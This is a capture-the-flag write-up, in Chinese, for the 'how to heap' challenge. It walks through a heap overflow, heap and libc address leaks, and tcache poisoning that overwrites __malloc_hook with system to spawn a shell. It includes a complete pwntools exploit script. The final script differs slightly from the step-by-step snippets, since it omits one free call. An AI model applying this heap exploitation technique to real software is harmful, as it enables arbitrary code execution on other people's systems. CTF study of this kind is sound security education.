###### tags: `Rumble` # how to heap(Rumble) - 這題note漏洞在於read自己可以設定長度,可以蓋掉我們要的值 - leak heapbase - leak libc base - 找libc版本 - 將fd蓋成malloc hook再在上面蓋system,最後malloc(已變成system)一段size(/bin/sh)讓他吃進去 - 先寫function互動 ```python= def malloc(index,size): r.sendline('1') r.recvuntil('malloc at index:') r.sendline(str(index)) r.recvuntil('with size:') r.sendline(str(size)) def free(index): r.sendline('2') r.recvuntil('free at index:') r.sendline(str(index)) def read(index,size): r.sendline('3') r.recvuntil('read at index:') r.sendline(str(index)) r.recvuntil('of size:') r.sendline(str(size)) def write(index,size,data): r.sendline('4') r.recvuntil('write to index:') r.sendline(str(index)) r.recvuntil('of size:') r.sendline(str(size)) r.sendline(data) def mask(heapbase,fd): return fd ^ (heapbase >> 12) ``` ### leak heapbase - free掉1時,(2.32版中)fd指向heapbase>>12的位址,在不知道版本情況下,bk會指向heapbase+0x10的位址 ```python= malloc(0,0x20) malloc(1,0x30) malloc(2,0x20) free(1) read(0,0x40) recv = r.recvuntil('>') heapbase = u64(recv[-9:-1]) -0x10 # read(改0x38,heapbase = u64(recv[-9:-1] <<12) print 'heapbase: ' + hex(heapbase) ``` ### leak libc(找版本) - 藉由leak一段大於small chunk大小的size,不會進tcache,後面接個fastbin避免被後面top chunk merge掉,他free掉後fd指向main arena+96位置 - 再由p &_IO_list_all_找到list all的位置減去main arena得到偏移值(也得到list all的位址) - https://libc.rip/ - 找libc版本 - ![](https://i.imgur.com/7VohK7H.png) ```python= malloc(3,0x20) malloc(4,0x420) malloc(5,0x20) free(4) read(3,0x38) recv = r.recvuntil('>') main96 = u64(recv[-9:-1]) list_all = main96+2496 #find libc version ``` ### 找出所需function的位置 ```python= libcbase = list_all - libc.symbols['_IO_list_all'] malloc_hook = libcbase + libc.symbols['__malloc_hook'] system = libcbase + libc.symbols['system'] binsh = libcbase + libc.search('/bin/sh').next() print 'libcbase: ' + hex(libcbase) print 'malloc_hook: ' + hex(malloc_hook) print 'system: ' + hex(system) print 'binsh: ' + hex(binsh) ``` ### call system - 先malloc三個大小,先free8在free7,7的fd指向8,再6寫0x38寫到7的fd將malloc hook位址寫入,等於要在malloc位址8時,會去7fd找位置(也就是malloc hook),然後再malloc兩塊,第二塊的10指向malloc hook,前8個bytes把system寫入malloc hook最後將bin/sh的記憶體當data寫入 ```python= malloc(6,0x20) malloc(7,0x40) malloc(8,0x20) free(8) free(7) write(6,0x38,0x30*'A'+p64(mask(heapbase,malloc_hook))) malloc(9,0x40) malloc(10,0x40) write(10,0x8,p64(system)) malloc(11,binsh) ``` - 完整payload ```python= from pwn import * #r = process('./howtoheap') #libc = ELF('./howtoheap').libc r = remote('chal.cybersecurityrumble.de',8263) libc = ELF('./libc-2.32-1-x86_64.so') def malloc(index,size): r.sendline('1') r.recvuntil('malloc at index:') r.sendline(str(index)) r.recvuntil('with size:') r.sendline(str(size)) def free(index): r.sendline('2') r.recvuntil('free at index:') r.sendline(str(index)) def read(index,size): r.sendline('3') r.recvuntil('read at index:') r.sendline(str(index)) r.recvuntil('of size:') r.sendline(str(size)) def write(index,size,data): r.sendline('4') r.recvuntil('write to index:') r.sendline(str(index)) r.recvuntil('of size:') r.sendline(str(size)) r.sendline(data) def mask(heapbase,fd): return fd ^ (heapbase >> 12) def readbytes(index,size): read(index,size) recv = r.recvuntil('>') for i in range(0,len(recv)): if (i-1)%8 == 0: print '---' print hex(ord(recv[i])) malloc(0,0x20) malloc(1,0x30) malloc(2,0x20) free(1) read(0,0x40) recv = r.recvuntil('>') heapbase = u64(recv[-9:-1]) -0x10 print 'heapbase: ' + hex(heapbase) malloc(3,0x20) malloc(4,0x420) malloc(5,0x20) free(4) read(3,0x38) recv = r.recvuntil('>') main96 = u64(recv[-9:-1]) list_all = main96+2496 #find libc version libcbase = list_all - libc.symbols['_IO_list_all'] malloc_hook = libcbase + libc.symbols['__malloc_hook'] system = libcbase + libc.symbols['system'] binsh = libcbase + libc.search('/bin/sh').next() print 'libcbase: ' + hex(libcbase) print 'malloc_hook: ' + hex(malloc_hook) print 'system: ' + hex(system) print 'binsh: ' + hex(binsh) malloc(6,0x20) malloc(7,0x40) malloc(8,0x20) free(7) write(6,0x38,0x30*'A'+p64(mask(heapbase,malloc_hook))) malloc(9,0x40) malloc(10,0x40) write(10,0x8,p64(system)) malloc(11,binsh) r.interactive() ```